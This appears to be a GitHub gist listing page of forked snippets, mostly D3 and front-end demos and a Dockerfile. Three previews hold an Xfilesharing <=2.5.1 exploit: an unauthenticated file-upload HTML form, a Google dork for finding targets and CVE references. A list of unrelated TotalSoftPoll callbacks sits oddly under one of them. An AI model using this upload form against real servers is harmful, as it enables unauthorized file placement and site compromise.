Skip to content

Instantly share code, notes, and snippets.

@weisk
weisk / .block
Created May 28, 2020 02:57 — forked from mbostock/.block
Zoomable Circle Packing
license: gpl-3.0
height: 960
redirect: https://observablehq.com/@d3/d3-zoomable-circle-packing
@weisk
weisk / xfilesharing.txt
Created May 13, 2020 01:27 — forked from pak0s/xfilesharing.txt
Xfilesharing <=2.5.1 Arbitrary File Upload and Local File Inclusion
#####################
Arbitrary File Upload
#####################
<form action="http://xyz.com/cgi-bin/up.cgi" method="post" enctype="multipart/form-data">
<input type="text" name="sid" value="joe">
<input type="file" name="file">
<input type="submit" value="Upload" name="submit">
</form>
@weisk
weisk / xfilesharing.txt
Created May 13, 2020 01:27 — forked from pak0s/xfilesharing.txt
Xfilesharing <=2.5.1 Arbitrary File Upload and Local File Inclusion
#####################
Arbitrary File Upload
#####################
<form action="http://xyz.com/cgi-bin/up.cgi" method="post" enctype="multipart/form-data">
<input type="text" name="sid" value="joe">
<input type="file" name="file">
<input type="submit" value="Upload" name="submit">
</form>
@weisk
weisk / Exploit-DB-Xfilesharing.txt
Created May 13, 2020 01:27 — forked from pak0s/Exploit-DB-Xfilesharing.txt
Xfilesharing <=2.5.1 Arbitrary File Upload and Local File Inclusion
# Exploit Title: Xfilesharing <=2.5.1 Arbitrary File Upload and Local File Inclusion
# Google Dork: inurl:/?op=registration
# Date: 14th Nov, 2019
# Exploit Author: Noman Riffat
# Vendor Homepage: https://sibsoft.net/xfilesharing.html
# Version: <=2.5.1
# CVE : CVE-2019-18951, CVE-2019-18952
#####################
Arbitrary File Upload
An attacker can call following functions as an unauthenticated user.
TotalSoftPoll_Clone_Callback
TotalSoftPoll_Del_Callback
TotalSoftPoll_Edit_Callback
TotalSoftPoll_Edit_Q_M_Callback
TotalSoftPoll_Edit_Ans_Callback
TotalSoftPoll_Theme_Clone_Callback
TotalSoftPoll_Theme_Edit_Callback
TotalSoftPoll_Theme_Edit1_Callback
@weisk
weisk / .block
Created April 12, 2020 06:53 — forked from mbostock/.block
Circle Packing
license: gpl-3.0
height: 960
border: no
redirect: https://beta.observablehq.com/@mbostock/d3-circle-packing
@weisk
weisk / flexbox-madness.markdown
Created March 20, 2020 06:33
Flexbox Madness
@weisk
weisk / index.html
Created March 20, 2020 06:07
JQuery Brackets - Example
<!--
<span id="matchCallback"></span>
<div id="matches">
<div class="demo">
</div>
</div>
-->
<div id="matchesblank">
<div class="demo">
@weisk
weisk / flexbox-madness.markdown
Created March 20, 2020 06:04
Flexbox Madness
@weisk
weisk / Dockerfile
Created October 2, 2019 03:36 — forked from armand1m/Dockerfile
Yarn cache compatible Dockerfile
FROM alpine
RUN apk add --update --no-cache nodejs
RUN npm i -g yarn
ADD package.json yarn.lock /tmp/
ADD .yarn-cache.tgz /
RUN cd /tmp && yarn
RUN mkdir -p /service && cd /service && ln -s /tmp/node_modules